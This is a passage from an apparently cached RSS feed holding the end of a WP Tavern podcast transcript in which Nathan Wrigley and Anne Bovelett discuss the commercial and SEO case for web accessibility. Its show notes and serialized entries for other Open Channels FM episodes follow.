haven&#8217;t really been following the SEO industry for a very long time, I really don&#8217;t have much intelligence around what search engines these days look for. You know, back in the day when I was building websites, there was a, almost like a playbook that you could go through. And if you did these things, you could achieve reasonable results in SEO.</p>\n\n\n\n<p class="wp-block-paragraph">[00:28:18] And that was the state of the internet 15 years ago when algorithms were less sophisticated, and people were just beginning to kind of get online and use things like Google all the time. But it sounds to me as if we&#8217;ve got to a point with search engines, as if they&#8217;re able to, I&#8217;m maybe going to overstate this, it feels like the more human you have become as a website, the more likely Google will favour you.</p>\n\n\n\n<p class="wp-block-paragraph">[00:28:48] I&#8217;m not really encapsulating that very well, but what I mean is, if you put content on there, which is human readable. If you make it obvious where to click to do the thing, rather than stop it with keywords and things which, you know, is not really in the best intentions of humans, that&#8217;s clearly done for the algorithm only, it does sound like you are saying that the search engines favour, I&#8217;m doing air quotes here, humanity.</p>\n\n\n\n<p class="wp-block-paragraph">[00:29:15] <strong>Anne Bovelett:</strong> They always have. Let me circle back to what I said before. We, as the people who use search engines, and nowadays they&#8217;re AI in whatever they do, we are the biggest customer for them. Because if we&#8217;re not there to search, to use them, they can&#8217;t sell their services to the people paying to be found.</p>\n\n\n\n<p class="wp-block-paragraph">[00:29:37] I might be, how do you say that, unorthodox in this approach, but I&#8217;ve seen it. I have a friend, Manuela van Prooijen, she&#8217;s the owner of a company called Weblish. In the Netherlands she trains people in how to set up businesses with WordPress and how to build with WordPress. And you wouldn&#8217;t expect it when someone is just focused on that, but she&#8217;s got a very broad perspective of things. And she dove into SEO in a way that I&#8217;ve never seen before. And some of the SEO experts that I know, and we know together, were like, why didn&#8217;t we ever think of that? And it had to do with structured data. And of course, everything she builds is accessible.</p>\n\n\n\n<p class="wp-block-paragraph">[00:30:24] <strong>Nathan Wrigley:</strong> Okay, so I&#8217;m going to pivot slightly. However, I think we&#8217;ve made the case that if you are endeavouring to make your website more accessible, I think by reading that piece, you will understand that there are definite benefits in terms of traffic and search engine rankings and so on. So let&#8217;s just take that one as a given.</p>\n\n\n\n<p class="wp-block-paragraph">[00:30:43] And then I&#8217;m going to move over to a piece which you yourself wrote, not that long ago actually. Almost exactly a year ago, March 4th, 2025. It&#8217;s on your website, annebovelett.eu. It&#8217;s called The E-commerce Industry&#8217;s Billion Pound Mistake. And in here you make the argument, and you bind it to money, to actual dollar terms and things like that, which is quite interesting.</p>\n\n\n\n<p class="wp-block-paragraph">[00:31:05] So I&#8217;m wondering if you&#8217;d just paint the numbers around what you were saying here, if you can remember. I know it&#8217;s a year ago now that you wrote it. But broadly speaking, what was the economic case that you were making?</p>\n\n\n\n<p class="wp-block-paragraph">[00:31:13] <strong>Anne Bovelett:</strong> It&#8217;s actually, this is based on a British report, actually. It&#8217;s called the Click Away Pound Report. It was brought in 2019. And that actually measures how much revenue people left lying on the street by not making their shops, their online shops, accessible. And the economic case is, we say in Dutch, you thief your own wallet, if you&#8217;re not doing it. And again, these are, this is data, these are numbers.</p>\n\n\n\n<p class="wp-block-paragraph">[00:31:48] So in 2016, for example, the click away pound increased by 45%. Let me just throw around some numbers, right? So in 2016, the money that people left lying on the street by not making their eshops accessible was 11.75 billion. Billion, not million, billion pounds. In 2019, that was already up to 17 billion. Really, I don&#8217;t know if they&#8217;re going to do another Click Away Pound Report again at some point, but I think we&#8217;re going to be shocked. Because since 2019, the state of the internet actually worsened because of all this technology. And it&#8217;s getting worse because of all this vibe coding voodoo, where they&#8217;re using AI that is trained on inaccessible code. But that&#8217;s another thing.</p>\n\n\n\n<p class="wp-block-paragraph">[00:32:45] So there&#8217;s another article that I have. I think it is so much money that people leave lying on the street, this is larger than the Chinese economy, that amount. It&#8217;s in an article I wrote about e-commerce in 2022, where I was criticising CMSs, including WooCommerce, who actually did a great job. Now WooCommerce Core is now accessible. And said, okay, if your system sucks, the people using your system are going to lose without being able to help it.</p>\n\n\n\n<p class="wp-block-paragraph">[00:33:18] <strong>Nathan Wrigley:</strong> If you send me the link to that piece, I will obviously add that into the show notes.</p>\n\n\n\n<p class="wp-block-paragraph">[00:33:22] <strong>Anne Bovelett:</strong> It seems I&#8217;m on the cold side of accessibility because that is something that forever stuck with me. Someone called me cold hearted, because I&#8217;m talking about the commercial side of accessibility all the time. But, you know, there was a time, this is maybe a strange segway, but there was a time where I weighed way over a hundred kilos. I was so heavy. I had trouble moving, I was in pain, I was uncomfortable. And for me, buying clothes became an uncomfortable exercise. Going into these shops, especially these nice boutique shops, with their very small cabins, you know, trying to turn around and not being able to step into a pair of pants or whatever. Just uncomfortable.</p>\n\n\n\n<p class="wp-block-paragraph">[00:34:13] But the most uncomfortable thing about it for me was that I got blatantly ignored by the ladies that were selling the clothes in the stores. And three years after that, I had lost about 37 kilos. And I came into that one store where it was very, very apparent that they really weren&#8217;t interested in talking to me at all. I came in and they immediately jumped me, both of them, the shop owner and her assistant. And I got madder and madder and madder and madder.</p>\n\n\n\n<p class="wp-block-paragraph">[00:34:49] And at some point I said, you know what? Keep your clothes, just tell me don&#8217;t you remember me? Don&#8217;t you know who I am? No, we don&#8217;t remember you. And I was like, well, here&#8217;s the picture. Oh yeah, I&#8217;ve seen you before. And you know what, the fact, at that time I was thinking, maybe it&#8217;s because you&#8217;re too busy or you are, you know, I don&#8217;t know. But the fact that you jumped me right now with the same amount of people in the place tells me something else.</p>\n\n\n\n<p class="wp-block-paragraph">[00:35:15] Now, why am I telling this story? This is how a lot of people that need assistive technology feel, and also how older people feel on the web. I mean, I don&#8217;t know about the UK, but in the Netherlands, you can&#8217;t do your taxes without a couple of apps on a phone. Well, if you jump through a million hoops, maybe you can send it in on paper still, but it&#8217;s almost impossible. If apps like that don&#8217;t work correctly, you&#8217;re putting people&#8217;s fate in someone else&#8217;s hand, because you&#8217;re working with their tax number.</p>\n\n\n\n<p class="wp-block-paragraph">[00:35:54] I don&#8217;t know in the UK, in the Netherlands, your personal tax number, never ever give that to someone. Never. Your social security number, don&#8217;t do it. And then you&#8217;re like, maybe 60, 70-year-old, and you&#8217;re right before that stage where the technology&#8217;s getting too hard for you, but apps to do these things are too difficult.</p>\n\n\n\n<p class="wp-block-paragraph">[00:36:17] There is a local tax office in the Netherlands that had a full accessibility redesign done by Level Level in Rotterdam. And for them, the support requests went down, I think by 30% or something. I couldn&#8217;t find the case on their website anymore.</p>\n\n\n\n<p class="wp-block-paragraph">[00:36:35] But this is because people are being empowered to do things by themselves. That&#8217;s what they want. And for example, in Germany, there are statistics about that. This is an article that I actually published today that, I think it says like 90% of all German users will always try to first solve something by themselves, and if it doesn&#8217;t work they&#8217;ll walk away.</p>\n\n\n\n<p class="wp-block-paragraph">[00:36:58] <strong>Nathan Wrigley:</strong> That&#8217;s one of the curious things that come out of the article. The first part of this conversation was all about SEO and what have you. We didn&#8217;t really talk much about the person experiencing the problem. It was more about search engines and maybe how you would technically fix things. But this is so interesting. In your piece, you, and I&#8217;m just going to quote it because that&#8217;s going to be the easiest way to get the information into the record.</p>\n\n\n\n<p class="wp-block-paragraph">[00:37:20] And it says, a shocking 75% of disabled customers have willingly paid more for a product from an accessible website, rather than struggle with a cheaper inaccessible one. And that kind of sums up the whole thing really for me, that if you are faced with a struggle to do something, let&#8217;s say, I dont know, you want to buy a widget and it&#8217;s $100. The calculus that you are going through is, I could spend an hour and a half trying to get that $100 widget, or I could go to this other website and pay $120 for it and be done in three minutes. Well, that&#8217;s obvious, I know which one I&#8217;m going to do, which is really interesting.</p>\n\n\n\n<p class="wp-block-paragraph">[00:38:02] <strong>Anne Bovelett:</strong> Yeah, yeah. And there&#8217;s another thing. People are always like, oh, accessibility is only for the blind. No. The people that go forgotten in that, and I have to tell you, disabilities rarely come alone, right? I&#8217;m just going to take myself as an example. I have ADHD on steroids. I&#8217;m in the spectrum. I&#8217;m old. I need two pairs of glasses, one for my computer, one for my regular stuff. I&#8217;m starting to lose my hearing in certain regions. I am the target group. If I need to go and order, and I&#8217;m B2B, right? I&#8217;m a business.</p>\n\n\n\n<p class="wp-block-paragraph">[00:38:41] I will order B2B because then I can deduct the VAT. And I have to buy hardware. And I always try to buy the best. I will go to a store, maybe, and it&#8217;s B2B and I will go online. If I can&#8217;t figure out their stuff, I&#8217;m leaving. If I need to look at a manual, a video manual, that has background music while someone is talking, but there is no subtitles, I&#8217;m gone. I can&#8217;t follow it. My brain won&#8217;t let me.</p>\n\n\n\n<p class="wp-block-paragraph">[00:39:15] <strong>Nathan Wrigley:</strong> Yeah, I mean the analogy in my head is kind of, I don&#8217;t know, you&#8217;re going into a clothes shop or something like that and you need a new pair of shoes or something, and you discover that all the shoes are in a locked cupboard in a corner. And in order to get to the shoes, you need to ask a receptionist for the key. And then they go and find the key, and then they give you the wrong key and the key doesn&#8217;t work. And then they don&#8217;t point out where the box of shoes is, so you&#8217;re completely confused.</p>\n\n\n\n<p class="wp-block-paragraph">[00:39:36] That whole thing is just avoided by going to the next shop along the street where all the shoes are right there for you to pick up and try on and what have you. You&#8217;ve made the journey easy, and it turns out that price isn&#8217;t necessarily the prime mover here, which is really interesting. I find that statistic fascinating, that people will pay accordingly if they can get what they need out of it. I mean I know it sounds like common sense, but having it painted in those stark colours is.</p>\n\n\n\n<p class="wp-block-paragraph">[00:40:04] <strong>Anne Bovelett:</strong> Yeah, yeah. This is one of the things I did want to mention as well. I have the privilege of talking to Mark Weisbrod a lot from Greyd. You know him? He&#8217;s the CEO of Greyd. I think he&#8217;s unique, especially in the world of WordPress because he&#8217;s looking at things solely from a business perspective. He&#8217;s not distracted by technical issues or whatsoever. He will get it from there. He&#8217;s someone who often says to me like, okay, I like the story now show me the data.</p>\n\n\n\n<p class="wp-block-paragraph">[00:40:39] But then at some point, I remember it was before the European Accessibility Act was coming into effect, I think. So this, we&#8217;re talking about this in 2023 or something. And then I said, I don&#8217;t get it. Why is everybody so focused on the European Accessibility Act? Look at how much money they can make by leaving people their dignity. Because that&#8217;s basically what it is by making your stuff accessible.</p>\n\n\n\n<p class="wp-block-paragraph">[00:41:06] If you get past the stupid idea that if something is accessible, it can&#8217;t look nice. I mean, go to github.com without being logged in, that&#8217;s accessible. It&#8217;s a wonderful website. And then I said, where is the common sense? Why, if I talk to the C-suite of a company in one of those business things, and I say, listen, if you would make this and this and this more accessible in your web shop, your turn over would go up by so many percent, why are they not like, we&#8217;ve got to invest this money right now?</p>\n\n\n\n<p class="wp-block-paragraph">[00:41:39] And then he said, no matter what, people will always think with their wallet today and tomorrow. They&#8217;re not thinking about next week. Only the most visionary leaders in the industries think way more. And this is something I say now, because he said, he was telling me about they were selling, in a company he worked for, they were selling solar systems. And these systems would save the buyers so much money on the long run, but it was very hard to sell them because it was in the long run.</p>\n\n\n\n<p class="wp-block-paragraph">[00:42:20] And if a CEO or a CFO, I mean I know it sounds offending, I don&#8217;t mean it that way, but in large corporations it&#8217;s to eat or to be eaten. Managers are always afraid of their managers kicking down on them and the others kicking up, and they&#8217;re always trying to defend their own spot in the business. It&#8217;s only in smaller companies that people can have more leverage. So there are always so many powers at play in a company that if you start talking to a company about, it&#8217;s for the greater good of your company, it&#8217;s the same argument as it&#8217;s for the greater good of humanity.</p>\n\n\n\n<p class="wp-block-paragraph">[00:42:59] And I&#8217;ll just give you another number for example. Based on the Click Away Pound Report, and some other data that I have, I&#8217;ve been working on building a calculator. You tell me which country your web shop is in, you tell me how much turnover you have per year and then that calculator is going to tell you how much potential revenue you are walking away from by not making it accessible. I did this for very, very big supermarket chain in Switzerland, and the outcome was you could make 0.94% more revenue. And then you&#8217;re like, yeah, less than 1%. Yeah, sure. Ah, it&#8217;s still 350 million Swiss Francs.</p>\n\n\n\n<p class="wp-block-paragraph">[00:43:43] <strong>Nathan Wrigley:</strong> Yeah. Less than 1% but still that kind of money, wow.</p>\n\n\n\n<p class="wp-block-paragraph">[00:43:47] <strong>Anne Bovelett:</strong> Yes. And then you get this perspective thing. Because I&#8217;m pretty sure the day that this knowledge seeps through to the unions of the employees of this company, the employees are going to go like, why do we have to save money, or why do we not get a raise where you don&#8217;t take the opportunity to make that much more turnover? And then someone else with other interests in the company says, yeah, but the stakeholders, you know, or the investors, this is why this is not happening. I mean, we all think common sense is the greatest good in the world. People do not have common sense, period.</p>\n\n\n\n<p class="wp-block-paragraph">[00:44:33] <strong>Nathan Wrigley:</strong> It&#8217;s that sort of invisible layer to people who don&#8217;t experience any of the accessibility problems that the industry is trying to tackle. For example, you&#8217;re fully sighted, you can use your legs and walk about and use a mouse and use regular computer and use a regular screen and your ears are working fine and all those kind of things. All of that stuff is just sort of hidden from you, and so it just somehow doesn&#8217;t drive itself to the front of your consciousness.</p>\n\n\n\n<p class="wp-block-paragraph">[00:44:56] Which is why this is so interesting because, although you said you&#8217;ve kind of been berated in the accessibility community for banging the gong about money all the time, it&#8217;s a great way to cut through, isn&#8217;t it? You can go to the CEO of a company and make the economic argument, I would imagine, much more readily than you can do with the moral argument.</p>\n\n\n\n<p class="wp-block-paragraph">[00:45:16] <strong>Anne Bovelett:</strong> I&#8217;ve been thinking about this a lot, about writing up a profile for a position in companies that I don&#8217;t think exists yet. Because normally, we call it the sheep with five legs in Dutch. It&#8217;s very hard to find that sheep with five legs. If someone is an accessibility officer in a big company, they are being banged on for compliance. If someone is working on accessibility in a lower rank, they&#8217;re getting overworked because people have so many expectations or they just don&#8217;t do things.</p>\n\n\n\n<p class="wp-block-paragraph">[00:45:52] It&#8217;s always, this person is screaming in the desert like, hey, this is happening. I&#8217;ve seen this happen, I was guiding a company with more than I think 13 or 14 development teams, over 85 people, and they didn&#8217;t talk to each other. Design, didn&#8217;t talk to development, development didn&#8217;t talk to development in other areas, because that was how the company was structured.</p>\n\n\n\n<p class="wp-block-paragraph">[00:46:18] And I think people need to be educated in two ways to have this position that doesn&#8217;t exist yet. It&#8217;s a position where you are able to kick the shins of the C-suite in a professional manner, of course, but also sit down with development, design, and content teams and make them communicate with each other in a way that works.</p>\n\n\n\n<p class="wp-block-paragraph">[00:46:48] And for that, you have to understand these processes. And normally, I&#8217;m absolutely not for people in managing positions that know the job that the people they&#8217;re managing is doing, because they very often become that, how do you say that, the driver on the carriage running in front of the horses? You know, that&#8217;s really dangerous. You shouldn&#8217;t interfere into detail level too much.</p>\n\n\n\n<p class="wp-block-paragraph">[00:47:15] But if you understand it on a detail level, from design content and development, you can get these people to talk to each other and help each other. Because there&#8217;s absolutely nothing wrong with a developer that sees a design and is like, woah, that design, the way that is made, that&#8217;s going to cause some accessibility issues. Those are issues.</p>\n\n\n\n<p class="wp-block-paragraph">[00:47:39] And normally they will just, no, no, I was asked to develop this. I&#8217;ll develop it. Instead, you need to raise a culture where people go to the designer and say, hey, I noticed this. What is your thought behind this? And they can&#8217;t. And if they had a middle person for that where they could go to and say, look, I got this, I&#8217;m not sure about it, then you would have a fantastic flow in a company to make things accessible.</p>\n\n\n\n<p class="wp-block-paragraph">[00:48:06] Because this goes through so much more. So an article that I published today is about how much money you lose in support. It&#8217;s the same thing. If a support, people doing support are not used to really listen and someone says, I&#8217;m hard of hearing, or someone says, I have dyslexia. When you&#8217;re saying, yeah, go read it, it&#8217;s on that page on our website. If this person calls you because he couldn&#8217;t find, or understand the page, and then you force this person into vulnerability by admitting that he or she has dyslexia. And that is going to leave a very bad taste in someone&#8217;s mouth. And what happens? They&#8217;re going to walk away. If you&#8217;re not some government thing that everybody needs like, I don&#8217;t know, taxes, because otherwise they&#8217;ll come and rob you.</p>\n\n\n\n<p class="wp-block-paragraph">[00:48:54] <strong>Nathan Wrigley:</strong> It is genuinely so interesting because a lot of the content that I&#8217;ve made in the past has been definitely about the ways to fix your website. So here&#8217;s the WCAG guidelines, go figure. This episode&#8217;s been really entirely different.</p>\n\n\n\n<p class="wp-block-paragraph">[00:49:07] So first of all, looking at Semrush, and the data. Just sort of painting the picture of the improvements that you can get in terms of traffic and visibility across search engines should you go down the accessibility route. But also then getting into the financial bit, which it sounds like is your thing.</p>\n\n\n\n<p class="wp-block-paragraph">[00:49:27] So I think that&#8217;s hopefully of interest to some people who perhaps have just always thought about accessibility as a, I&#8217;m a web developer, there&#8217;s another job that I&#8217;ve got to do. Well, now you&#8217;re kind of armoured with things that you could maybe even approach clients with. You know, you&#8217;ve got a website, we haven&#8217;t looked at it in a few years, you are always looking for ways to make more revenue out of your website. Well, look, I&#8217;ve got this thing in my back pocket. This is a really credible way that we can do some tweaks. I know what I need to do. There&#8217;s guidelines that I can follow. Let&#8217;s do that and see if we can improve the revenue.</p>\n\n\n\n<p class="wp-block-paragraph">[00:50:00] I think we&#8217;ve probably covered that. And so with that in mind, Anne, just before we end, I&#8217;m going to try and link to the piece that you mentioned. I&#8217;ll certainly, anything that we&#8217;ve mentioned in this podcast, I&#8217;ll try and link to in the show notes on WP Tavern. Do you just want to tell us where we can find you? I did reference your website at one point during the podcast, but do you just want to give us that again, or maybe social networks or something like that where you hang out?</p>\n\n\n\n<p class="wp-block-paragraph">[00:50:23] <strong>Anne Bovelett:</strong> If you remember how to spell my name, just put it in Google, you&#8217;ll find me everywhere. Okay. No. So it&#8217;s Anne and then Bovelett, which is B from Bernard, B-O-V-E-L-E-T-T. You can find me on LinkedIn a lot. I&#8217;m there a lot because I talk shop a lot.</p>\n\n\n\n<p class="wp-block-paragraph">[00:50:44] Very active on X, Twitter. So that&#8217;s where you find me. And don&#8217;t be afraid to approach me. Just, if you send me LinkedIn DMs, it can take a while because sometimes I get too many, and then I&#8217;m overwhelmed and, yeah. But the best thing is to send me an email. Just go to the contact page on my website.</p>\n\n\n\n<p class="wp-block-paragraph">[00:51:06] <strong>Nathan Wrigley:</strong> All that it remains for me to do is to say, Anne Bovelett, thank you for chatting to me today. That was really interesting. Thank you so much.</p>\n\n\n\n<p class="wp-block-paragraph">[00:51:12] <strong>Anne Bovelett:</strong> Thank you for having me and giving me the platform.</p>\n\n\n\n<p class="wp-block-paragraph">[00:51:13] <strong>Nathan Wrigley:</strong> You are very welcome.</p>\n</div></details>\n\n\n\n<p class="wp-block-paragraph">On the podcast today we have <a href="https://x.com/Bovelett">Anne Bovelett</a>.</p>\n\n\n\n<p class="wp-block-paragraph">Anne is a seasoned accessibility strategist with many years of experience in the tech industry. Her journey into accessible design began several years ago, and since then she’s become a passionate advocate for making the web a more inclusive place, especially for WordPress users and developers. Drawing from her background in consulting, training, and her own experiences, Anne’s work focuses on the intersection of accessibility, universal design, and tangible business outcomes.</p>\n\n\n\n<p class="wp-block-paragraph">This episode explores accessibility, not just as a moral imperative, but as a strategic advantage for website owners and businesses. Anne explains how neglecting accessibility means you’re leaving serious money on the table, referencing compelling research from a variety of credible sources. These studies reveal practical data. Compliant sites enjoy increases in organic traffic, a boost in keyword rankings, stronger authority, and significant financial opportunities, sometimes running into millions and even billions.</p>\n\n\n\n<p class="wp-block-paragraph">Anne talks about why accessibility hasn’t always been prioritised on the web, using analogies of the physical world and the history of web development. She gets into the technical side as well, but this conversation is specifically geared toward the real-world, bottom-line business benefits of accessible websites, reach more users, boost revenue, and even reduce support costs.</p>\n\n\n\n<p class="wp-block-paragraph">If you’re a website owner, developer, or digital business leader who’s ever wondered whether accessibility work is ‘worth it’ this episode is for you.</p>\n\n\n\n<h2 class="wp-block-heading">Useful links</h2>\n\n\n\n<p class="wp-block-paragraph"><a href="https://www.semrush.com">Semrush</a></p>\n\n\n\n<p class="wp-block-paragraph"><a href="https://www.accessibilitychecker.org">Accessibility Checker website</a></p>\n\n\n\n<p class="wp-block-paragraph"> Manuela van Prooijen&#8217;s <a href="https://weblish.nl">Weblish</a></p>\n\n\n\n<p class="wp-block-paragraph"><a href="https://annebovelett.eu/the-e-commerce-industrys-billion-pound-mistake/">The e-commerce industry’s billion-pound mistake</a></p>\n\n\n\n<p class="wp-block-paragraph"><a href="https://www.clickawaypound.com">Click-Away Pound Report</a></p>\n\n\n\n<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/bovelett/">Anne on LinkedIn</a></p>\n\n\n\n<p class="wp-block-paragraph"><a href="https://x.com/Bovelett">Anne on X</a></p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 15 Apr 2026 14:00:00 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:14:"Nathan Wrigley";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:41;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:74:"Open Channels FM: The Imperative of Layered Security in Modern Web Hosting";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://openchannels.fm/?p=2551968";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:81:"https://openchannels.fm/the-imperative-of-layered-security-in-modern-web-hosting/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:232:"Cybersecurity in web hosting is increasingly complex, requiring a layered security approach. Diverse threats demand specialized defenses, with ongoing challenges balancing protection and usability against evolving AI-driven attacks.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 15 Apr 2026 13:01:00 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"Bob Dunn";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:42;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:67:"Open Channels FM: Keeping It Open, Contributing to Open Channels FM";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://openchannels.fm/?p=2552847";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:58:"https://openchannels.fm/open-channels-fm-and-keep-it-open/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:411:"In this episode, Bob Dunn introduces &#8220;Keep It Open,&#8221; a new initiative designed to support the independence and sustainability of the network. Bob Dunn explains why maintaining honest conversations and championing the open web matters, and invites listeners, whether makers, developers, technologists, or agencies to join as fellow believers in this mission. Unlike traditional memberships, [&#8230;]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 15 Apr 2026 10:37:45 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"Bob Dunn";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:43;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:99:"Open Channels FM: BackTalk on Roller Coasters, Carbon Footprints, and the Human Element in Business";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://openchannels.fm/?p=2553753";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:104:"https://openchannels.fm/backtalk-on-roller-coasters-carbon-footprints-and-the-human-element-in-business/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:326:"The sharpest ideas, honest moments, and quotable insights pulled straight from our conversations across OpenChannels FM. On the lighter side Thank you so much for taking time out of your roller coaster riding day. I want to let you get back out there to riding roller coasters or whatever crazy kids do at Cloud Fest [&#8230;]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 15 Apr 2026 09:34:59 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"Bob Dunn";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:44;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:81:"Open Channels FM: Lessons from Two Decades of Open Source and the Social Internet";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://openchannels.fm/?p=2552807";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:88:"https://openchannels.fm/lessons-from-two-decades-of-open-source-and-the-social-internet/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:275:"In this episode, host Matthias Pfefferle chats with software engineer Will Norris, discussing his extensive contributions to open standards, federated identity, and open source, particularly within the WordPress ecosystem and the evolution of decentralized social networking.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 14 Apr 2026 09:21:09 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"Bob Dunn";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:45;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:75:"Riad Benguella: Meet Studio Code: I redesigned my WordPress site in 2 